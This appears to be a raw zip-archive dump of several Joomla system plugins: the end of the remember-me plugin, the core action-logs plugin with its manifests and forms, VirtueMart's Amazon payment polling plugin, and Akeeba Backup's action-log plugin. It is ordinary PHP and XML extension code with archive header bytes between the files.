	 * @return  boolean
	 */
	public function onUserLogout($user, $options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return true;
		}

		$cookieName = 'joomla_remember_me_' . UserHelper::getShortHashedUserAgent();

		// Check for the cookie
		if ($this->app->input->cookie->get($cookieName))
		{
			// Make sure authentication group is loaded to process onUserAfterLogout event
			PluginHelper::importPlugin('authentication');
		}

		return true;
	}

	/**
	 * Method is called before user data is stored in the database
	 * Invalidate all existing remember-me cookies after a password change
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isnew  True if a new user is stored.
	 * @param   array    $data   Holds the new user data.
	 *
	 * @return    boolean
	 *
	 * @since   3.8.6
	 */
	public function onUserBeforeSave($user, $isnew, $data)
	{
		// Irrelevant on new users
		if ($isnew)
		{
			return true;
		}

		// Irrelevant, because password was not changed by user
		if (empty($data['password_clear']))
		{
			return true;
		}

		/*
		 * But now, we need to do something
		 * Delete all tokens for this user!
		 */
		$db    = $this->db;
		$query = $db->getQuery(true)
			->delete($db->quoteName('#__user_keys'))
			->where($db->quoteName('user_id') . ' = :userid')
			->bind(':userid', $user['username']);

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// Log an alert for the site admin
			Log::add(
				sprintf('Failed to delete cookie token for user %s with the following error: %s', $user['username'], $e->getMessage()),
				Log::WARNING,
				'security'
			);
		}

		return true;
	}
}
PK!qz7��actionlogs/actionlogs.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_actionlogs</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_SYSTEM_ACTIONLOGS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="actionlogs">actionlogs.php</filename>
		<folder>forms</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_actionlogs.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_actionlogs.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="logDeletePeriod"
					type="number"
					label="PLG_SYSTEM_ACTIONLOGS_LOG_DELETE_PERIOD"
					description="PLG_SYSTEM_ACTIONLOGS_LOG_DELETE_PERIOD_DESC"
					default="0"
					min="0"
					filter="int"
					validate="number"
				/>
				<field
					name="lastrun"
					type="hidden"
					default="0"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!;_��1�1actionlogs/actionlogs.phpnu&1i�<?php
/**
 * @package     Joomla.Plugins
 * @subpackage  System.actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\User\User;
use Joomla\Component\Actionlogs\Administrator\Helper\ActionlogsHelper;
use Joomla\Database\Exception\ExecutionFailureException;
use Joomla\Database\ParameterType;

/**
 * Joomla! Users Actions Logging Plugin.
 *
 * @since  3.9.0
 */
class PlgSystemActionLogs extends CMSPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * Constructor.
	 *
	 * @param   object  $subject  The object to observe.
	 * @param   array   $config   An optional associative array of configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Import actionlog plugin group so that these plugins will be triggered for events
		PluginHelper::importPlugin('actionlog');
	}

	/**
	 * Listener for the `onAfterInitialise` event
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function onAfterInitialise()
	{
		// Load plugin language files.
		$this->loadLanguage();
	}

	/**
	 * Adds additional fields to the user editing form for logs e-mail notifications
	 *
	 * @param   Form   $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 *
	 * @throws  Exception
	 */
	public function onContentPrepareForm(Form $form, $data)
	{
		$formName = $form->getName();

		$allowedFormNames = [
			'com_users.profile',
			'com_users.user',
		];

		if (!in_array($formName, $allowedFormNames, true))
		{
			return true;
		}

		/**
		 * We only allow users who has Super User permission change this setting for himself or for other users
		 * who has same Super User permission
		 */

		$user = Factory::getUser();

		if (!$user->authorise('core.admin'))
		{
			return true;
		}

		// If we are on the save command, no data is passed to $data variable, we need to get it directly from request
		$jformData = $this->app->input->get('jform', [], 'array');

		if ($jformData && !$data)
		{
			$data = $jformData;
		}

		if (is_array($data))
		{
			$data = (object) $data;
		}

		if (empty($data->id) || !User::getInstance($data->id)->authorise('core.admin'))
		{
			return true;
		}

		Form::addFormPath(__DIR__ . '/forms');

		if ((!PluginHelper::isEnabled('actionlog', 'joomla')) && (Factory::getApplication()->isClient('administrator')))
		{
			$form->loadFile('information', false);

			return true;
		}

		if (!PluginHelper::isEnabled('actionlog', 'joomla'))
		{
			return true;
		}

		$form->loadFile('actionlogs', false);
	}

	/**
	 * Runs on content preparation
	 *
	 * @param   string  $context  The context for the data
	 * @param   object  $data     An object containing the data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareData($context, $data)
	{
		if (!in_array($context, ['com_users.profile', 'com_users.user']))
		{
			return true;
		}

		if (is_array($data))
		{
			$data = (object) $data;
		}

		if (!User::getInstance($data->id)->authorise('core.admin'))
		{
			return true;
		}

		$db = $this->db;
		$id = (int) $data->id;

		$query = $db->getQuery(true)
			->select($db->quoteName(['notify', 'extensions']))
			->from($db->quoteName('#__action_logs_users'))
			->where($db->quoteName('user_id') . ' = :userid')
			->bind(':userid', $id, ParameterType::INTEGER);

		try
		{
			$values = $db->setQuery($query)->loadObject();
		}
		catch (ExecutionFailureException $e)
		{
			return false;
		}

		if (!$values)
		{
			return true;
		}

		$data->actionlogs                       = new stdClass;
		$data->actionlogs->actionlogsNotify     = $values->notify;
		$data->actionlogs->actionlogsExtensions = $values->extensions;

		if (!HTMLHelper::isRegistered('users.actionlogsNotify'))
		{
			HTMLHelper::register('users.actionlogsNotify', array(__CLASS__, 'renderActionlogsNotify'));
		}

		if (!HTMLHelper::isRegistered('users.actionlogsExtensions'))
		{
			HTMLHelper::register('users.actionlogsExtensions', array(__CLASS__, 'renderActionlogsExtensions'));
		}

		return true;
	}

	/**
	 * Runs after the HTTP response has been sent to the client and delete log records older than certain days
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRespond()
	{
		$daysToDeleteAfter = (int) $this->params->get('logDeletePeriod', 0);

		if ($daysToDeleteAfter <= 0)
		{
			return;
		}

		// The delete frequency will be once per day
		$deleteFrequency = 3600 * 24;

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if (abs($now - $last) < $deleteFrequency)
		{
			return;
		}

		// Update last run status
		$this->params->set('lastrun', $now);

		$db     = $this->db;
		$params = $this->params->toString('JSON');
		$query  = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('params') . ' = :params')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('actionlogs'))
			->bind(':params', $params);

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(['com_plugins'], [0, 1]);
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		$daysToDeleteAfter = (int) $this->params->get('logDeletePeriod', 0);
		$now               = Factory::getDate()->toSql();

		if ($daysToDeleteAfter > 0)
		{
			$days = -1 * $daysToDeleteAfter;

			$query->clear()
				->delete($db->quoteName('#__action_logs'))
				->where($db->quoteName('log_date') . ' < ' . $query->dateAdd($db->quote($now), $days, 'DAY'));

			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				// Ignore it
				return;
			}
		}
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = [0, 1])
	{
		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $clientId)
			{
				try
				{
					$options = [
						'defaultgroup' => $group,
						'cachebase'    => $clientId ? JPATH_ADMINISTRATOR . '/cache' :
							Factory::getApplication()->get('cache_path', JPATH_SITE . '/cache'),
					];

					$cache = Cache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}

	/**
	 * Utility method to act on a user after it has been saved.
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isNew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($user, $isNew, $success, $msg): void
	{
		if (!$success)
		{
			return;
		}

		// Clear access rights in case user groups were changed.
		$userObject = new User($user['id']);
		$userObject->clearAccessRights();

		$authorised = $userObject->authorise('core.admin');
		$userid     = (int) $user['id'];
		$db         = $this->db;

		$query = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->quoteName('#__action_logs_users'))
			->where($db->quoteName('user_id') . ' = :userid')
			->bind(':userid', $userid, ParameterType::INTEGER);

		try
		{
			$exists = (bool) $db->setQuery($query)->loadResult();
		}
		catch (ExecutionFailureException $e)
		{
			return;
		}

		$query->clear();

		// If preferences don't exist, insert.
		if (!$exists && $authorised && isset($user['actionlogs']))
		{
			$notify  = (int) $user['actionlogs']['actionlogsNotify'];
			$values  = [':userid', ':notify'];
			$bind    = [$userid, $notify];
			$columns = ['user_id', 'notify'];

			$query->bind($values, $bind, ParameterType::INTEGER);

			if (isset($user['actionlogs']['actionlogsExtensions']))
			{
				$values[]  = ':extension';
				$columns[] = 'extensions';
				$extension = json_encode($user['actionlogs']['actionlogsExtensions']);
				$query->bind(':extension', $extension);
			}

			$query->insert($db->quoteName('#__action_logs_users'))
				->columns($db->quoteName($columns))
				->values(implode(',', $values));
		}
		elseif ($exists && $authorised && isset($user['actionlogs']))
		{
			// Update preferences.
			$notify = (int) $user['actionlogs']['actionlogsNotify'];
			$values = [$db->quoteName('notify') . ' = :notify'];

			$query->bind(':notify', $notify, ParameterType::INTEGER);

			if (isset($user['actionlogs']['actionlogsExtensions']))
			{
				$values[] = $db->quoteName('extensions') . ' = :extension';
				$extension = json_encode($user['actionlogs']['actionlogsExtensions']);
				$query->bind(':extension', $extension);
			}

			$query->update($db->quoteName('#__action_logs_users'))
				->set($values)
				->where($db->quoteName('user_id') . ' = :userid')
				->bind(':userid', $userid, ParameterType::INTEGER);
		}
		elseif ($exists && !$authorised)
		{
			// Remove preferences if user is not authorised.
			$query->delete($db->quoteName('#__action_logs_users'))
				->where($db->quoteName('user_id') . ' = :userid')
				->bind(':userid', $userid, ParameterType::INTEGER);
		}
		else
		{
			return;
		}

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (ExecutionFailureException $e)
		{
			// Do nothing.
		}
	}

	/**
	 * Removes user preferences
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg): void
	{
		if (!$success)
		{
			return;
		}

		$db     = $this->db;
		$userid = (int) $user['id'];

		$query = $db->getQuery(true)
			->delete($db->quoteName('#__action_logs_users'))
			->where($db->quoteName('user_id') . ' = :userid')
			->bind(':userid', $userid, ParameterType::INTEGER);

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (ExecutionFailureException $e)
		{
			// Do nothing.
		}
	}

	/**
	 * Method to render a value.
	 *
	 * @param   integer|string  $value  The value (0 or 1).
	 *
	 * @return  string  The rendered value.
	 *
	 * @since   3.9.16
	 */
	public static function renderActionlogsNotify($value)
	{
		return Text::_($value ? 'JYES' : 'JNO');
	}

	/**
	 * Method to render a list of extensions.
	 *
	 * @param   array|string  $extensions  Array of extensions or an empty string if none selected.
	 *
	 * @return  string  The rendered value.
	 *
	 * @since   3.9.16
	 */
	public static function renderActionlogsExtensions($extensions)
	{
		// No extensions selected.
		if (!$extensions)
		{
			return Text::_('JNONE');
		}

		// Load the helper.
		JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

		foreach ($extensions as &$extension)
		{
			// Load extension language files and translate extension name.
			ActionlogsHelper::loadTranslationFiles($extension);
			$extension = Text::_($extension);
		}

		return implode(', ', $extensions);
	}
}
PK!c�r��actionlogs/forms/actionlogs.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="actionlogs" label="PLG_SYSTEM_ACTIONLOGS_OPTIONS" addfieldprefix="Joomla\Component\Actionlogs\Administrator\Field">
		<fields name="actionlogs">
			<field
				name="actionlogsNotify"
				type="radio"
				label="PLG_SYSTEM_ACTIONLOGS_NOTIFICATIONS"
				layout="joomla.form.field.radio.switcher"
				default="0"
				filter="integer"
				required="true"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
			<field
				name="actionlogsExtensions"
				type="logtype"
				label="PLG_SYSTEM_ACTIONLOGS_EXTENSIONS_NOTIFICATIONS"
				multiple="true"
				validate="options"
				showon="actionlogsNotify:1"
			/>
		</fields>
	</fieldset>
</form>
PK!�
{��� actionlogs/forms/information.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields name="params">
		<fieldset name="information" label="PLG_SYSTEM_ACTIONLOGS_OPTIONS">
			<field addfieldprefix="Joomla\Component\Actionlogs\Administrator\Field"
				name="Information"
				type="plugininfo"
				label="PLG_SYSTEM_ACTIONLOGS_INFO_LABEL"
				description="PLG_SYSTEM_ACTIONLOGS_INFO_DESC"
			/>
		</fieldset>
	</fields>
</form>
PK!�
��amazon/amazon.phpnu&1i�<?php

defined('_JEXEC') or die('Direct Access to ' . basename(__FILE__) . 'is not allowed.');

/**
 *
 * @package    VirtueMart
 * @subpackage system
 * @version $Id$
 * @author Valérie Isaksen
 * @link http://www.virtuemart.net
 * @copyright Copyright (c) 2004 - March 11 2016 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 *
 */
class PlgSystemAmazon extends JPlugin {

	function __construct (& $subject, $config) {
		parent::__construct($subject, $config);

	}

	function onAfterRender () {
		defined('DS') or define('DS', DIRECTORY_SEPARATOR);
		if (!class_exists( 'VmConfig' )) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'helpers'.DS.'config.php');
		VmConfig::loadConfig();

		$fileName = JPATH_ROOT.DS.'plugins'.DS.'system'.DS.'amazon'.DS.'touch.php';
		$tstamp = @filemtime($fileName);
		if ($tstamp !== false) {
			$now = time();
			$difference = abs($now - $tstamp);
			$frequency = $this->params->get('frequency');
			if ($difference > $frequency) {
				JLoader::import('joomla.plugin.helper');
				JPluginHelper::importPlugin('vmpayment');
				$app = JFactory::getApplication();
				$app->triggerEvent('plgVmRetrieveIPN', array());
			};
		}
		@touch($fileName);

	}
}PK!Y�//amazon/amazon.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="1.5" method="upgrade" group="system">
    <name>AMAZON</name>
    <creationDate>March 11 2016</creationDate>
    <author>The VirtueMart Development Team</author>
    <authorUrl>http://www.virtuemart.net</authorUrl>
    <copyright>Copyright (C) 2004-2016 Virtuemart Team. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <version>3.0.14</version>
    <description>AMAZON payment SYSTEM plugin</description>
    <files>
    <filename plugin="amazon">amazon.php</filename>
</files>

    <config>
        <fields name="params" >
            <fieldset name="basic">
                <field name="frequency" type="text"
                       description="PLG_SYSTEM_AMAZON_FREQUENCY"
                       label="PLG_SYSTEM_AMAZON_FREQUENCY_LABEL"
                       default="100"
                       size="5"
                        />
            </fieldset>
        </fields>
    </config>
    <updateservers>
        <!-- Note: No spaces or linebreaks allowed between the server tags -->
        <server type="extension" name="VirtueMart plg_system_amazon Update Site"><![CDATA[http://virtuemart.net/releases/vm3/plg_system_amazon_update.xml]]></server>
    </updateservers>
</extension>
PK!amazon/touch.phpnu&1i�PK!}Z˦ee1amazon/language/en-GB/en-GB.plg_system_amazon.ininu&1i�PLG_SYSTEM_AMAZON_FREQUENCY="Polling Frequency"
PLG_SYSTEM_AMAZON_FREQUENCY_LABEL="Polling Frequency"PK!|��Nakeebaactionlog/web.confignu&1i�<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK!�\a���akeebaactionlog/script.phpnu&1i�<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') or die;

// Load FOF if not already loaded
if (!defined('FOF30_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof30/include.php'))
{
	throw new RuntimeException('This extension requires FOF 3.0.');
}

class plgSystemAkeebaactionlogInstallerScript extends FOF30\Utils\InstallScript\Plugin
{
}
PK!�IVf-f-#akeebaactionlog/akeebaactionlog.phpnu&1i�<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use Akeeba\Engine\Platform;
use FOF30\Container\Container;

defined('_JEXEC') or die();

// PHP version check
if (!version_compare(PHP_VERSION, '5.6.0', '>='))
{
	return;
}

JLoader::import('joomla.application.plugin');

class plgSystemAkeebaactionlog extends JPlugin
{
	/** @var Container */
	private $container;

	/**
	 * Constructor
	 *
	 * @param       object $subject The object to observe
	 * @param       array  $config  An array that holds the plugin configuration
	 *
	 * @since       2.5
	 */
	public function __construct(& $subject, $config)
	{
		/**
		 * I know that this piece of code cannot possibly be executed since I have already returned BEFORE declaring
		 * the class when eAccelerator is detected. However, eAccelerator is a GINORMOUS, STINKY PILE OF BULL CRAP. The
		 * stupid thing will return above BUT it will also declare the class EVEN THOUGH according to how PHP works
		 * this part of the code should be unreachable o_O Therefore I have to define this constant and exit the
		 * constructor when we have already determined that this class MUST NOT be defined. Because screw you
		 * eAccelerator, that's why.
		 */
		if (defined('AKEEBA_EACCELERATOR_IS_SO_BORKED_IT_DOES_NOT_EVEN_RETURN'))
		{
			return;
		}

		// Make sure Akeeba Backup is installed
		if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba'))
		{
			return;
		}

		// Make sure Akeeba Backup is enabled
		JLoader::import('joomla.application.component.helper');

		if ( !JComponentHelper::isEnabled('com_akeeba'))
		{
			return;
		}

		// Load FOF
		if (!defined('FOF30_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof30/include.php'))
		{
			return;
		}

		$this->container = Container::getInstance('com_akeeba');

		// No point in logging guest actions
		if ($this->container->platform->getUser()->guest)
		{
			return;
		}

		// If any of the above statement returned, our plugin is not attached to the subject, so it's basically disabled
		parent::__construct($subject, $config);
	}

	/**
	 * Logs the creation of a new backup profile
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Profiles	$controller
	 * @param array										$data
	 * @param int										$id
	 */
	public function onComAkeebaControllerProfilesAfterApplySave($controller, $data, $id)
	{
		// If I have an ID in the request and it's the same of the model, I'm just editing a record
		if (isset($data['id']) && $data['id'] == $id)
		{
			return;
		}

		$profile_title = $data['description'];

		$this->container->platform->logUserAction($profile_title, 'COM_AKEEBA_LOGS_PROFILE_ADD', 'com_akeeba');
	}

	/**
	 * Logs deletion of a backup profile
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Profiles	$controller
	 */
	public function onComAkeebaControllerProfilesAfterRemove($controller)
	{
		$ids = $controller->input->get('cid', array(), 'array', 2);
		$profile_title = '# '.implode(', ', $ids);

		$this->container->platform->logUserAction($profile_title, 'COM_AKEEBA_LOGS_PROFILE_DELETE', 'com_akeeba');
	}

	/**
	 * Log configuration edit (apply)
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Configuration	$controller
	 */
	public function onComAkeebaControllerConfigurationAfterApply($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log configuration edit (save and close)
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Configuration	$controller
	 */
	public function onComAkeebaControllerConfigurationAfterSave($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log configuration edit (save and new)
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Configuration	$controller
	 */
	public function onComAkeebaControllerConfigurationAfterSavenew($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log starting a new backup
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Backup	$controller
	 */
	public function onComAkeebaControllerBackupBeforeAjax($controller)
	{
		$ajaxTask = $this->container->input->get('ajax', '', 'cmd');

		// Log only starting the backup
		if ($ajaxTask != 'start')
		{
			return;
		}

		$profile_id = $this->container->platform->getSessionVar('profile', -10, 'akeeba');

		if ($profile_id < 1)
		{
			return;
		}

		$profile_id = '#'.$profile_id;

		$this->container->platform->logUserAction($profile_id, 'COM_AKEEBA_LOGS_BACKUP_RUN', 'com_akeeba');
	}

	/**
	 * Log downloading a backup using Joomla interface
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Manage	$controller
	 */
	public function onComAkeebaControllerManageBeforeDownload($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat 		  = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "'.$profile_name.'" ID: '.$id;

		if ($part > -1)
		{
			$title .= ' part: '.$part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_MANAGE_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Logs deleting backup files
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Manage	$controller
	 */
	public function onComAkeebaControllerManageBeforeDeletefiles($controller)
	{
		$ids = $this->getIDsFromRequest();

		foreach ($ids as $id)
		{
			$this->container->platform->logUserAction('ID: '.$id,'COM_AKEEBA_LOGS_MANAGE_DELETEFILES', 'com_akeeba');
		}
	}

	/**
	 * Logs deleting backup stat entry
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Manage	$controller
	 */
	public function onComAkeebaControllerManageBeforeRemove($controller)
	{
		$ids = $this->getIDsFromRequest();

		foreach ($ids as $id)
		{
			$this->container->platform->logUserAction($id,'COM_AKEEBA_LOGS_MANAGE_DELETE', 'com_akeeba');
		}
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param \Akeeba\Backup\Admin\Controller\RemoteFiles	$controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDlfromremote($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat 		  = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "'.$profile_name.'" ID: '.$id;

		if ($part > -1)
		{
			$title .= ' part: '.$part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives back to the server
	 *
	 * @param \Akeeba\Backup\Admin\Controller\RemoteFiles	$controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDltoserver($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);
		$frag = $this->container->input->getInt('frag', -1);

		// Log only the first step
		if ($frag > -1 || $part > -1)
		{
			return;
		}

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat 		  = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "'.$profile_name.'" ID: '.$id;

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_FETCH', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param \Akeeba\Backup\Admin\Controller\RemoteFiles	$controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDelete($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat 		  = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "'.$profile_name.'" ID: '.$id;

		if ($part > -1)
		{
			$title .= ' part: '.$part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_DELETE', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Upload	$controller
	 */
	public function onComAkeebaControllerUploadBeforeStart($controller)
	{
		$id   = $this->container->input->getInt('id');

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat 		  = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "'.$profile_name.'" ID: '.$id;

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_UPLOADS_ADD', 'com_akeeba');
	}

	/**
	 * Log starting a site transfer wizard (connections valid, just before starting to actually transfer files)
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Transfer	$controller
	 */
	public function onComAkeebaControllerTransferBeforeUpload($controller)
	{
		$start = $this->container->input->getBool('start', false);

		if (!$start)
		{
			return;
		}

		$title = $this->container->platform->getSessionVar('transfer.url', '', 'akeeba');

		if (!$title)
		{
			return;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_TRANSFER_RUN', 'com_akeeba');
	}

	/**
	 * Logs downloading a backup log
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Log	$controller
	 */
	public function onComAkeebaControllerLogBeforeDownload($controller)
	{
		$tag = $this->container->input->get('tag', null, 'cmd');;

		$this->container->platform->logUserAction($tag, 'COM_AKEEBA_LOGS_LOG_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Log importing a backup archive
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Discover	$controller
	 */
	public function onComAkeebaControllerDiscoverBeforeImport($controller)
	{
		$files = $this->container->input->get('files', array(), 'array');

		foreach ($files as $file)
		{
			$this->container->platform->logUserAction($file, 'COM_AKEEBA_LOGS_DISCOVER_IMPORT', 'com_akeeba');
		}
	}

	/**
	 * Log importing a backup archive from S3
	 *
	 * @param \Akeeba\Backup\Admin\Controller\Discover	$controller
	 */
	public function onComAkeebaControllerS3ImportBeforeDltoserver($controller)
	{
		$file = $this->container->input->get('file', '', 'string');

		// Log only the initial download step
		$part = $this->container->input->getInt('part', -1);
		$frag = $this->container->input->getInt('frag', -1);
		$step = $this->container->input->getInt('step', -1);

		if ($part > -1 || $frag > -1 || $step > -1)
		{
			return;
		}

		$this->container->platform->logUserAction($file, 'COM_AKEEBA_LOGS_S3IMPORT_IMPORT', 'com_akeeba');
	}

	private function logConfigurationChange()
	{
		$profileName = $this->container->input->getString('profilename', null);

		$this->container->platform->logUserAction('"'.$profileName.'"', 'COM_AKEEBA_LOGS_CONFIGURATION_EDIT', 'com_akeeba');
	}

	/**
	 * Gets the list of IDs from the request data
	 *
	 * @return array
	 */
	private function getIDsFromRequest()
	{
		// Get the ID or list of IDs from the request or the configuration
		$cid = $this->container->input->get('cid', array(), 'array');
		$id  = $this->container->input->getInt('id', 0);

		$ids = array();

		if (is_array($cid) && !empty($cid))
		{
			$ids = $cid;
		}
		elseif (!empty($id))
		{
			$ids = array($id);
		}

		return $ids;
	}
}
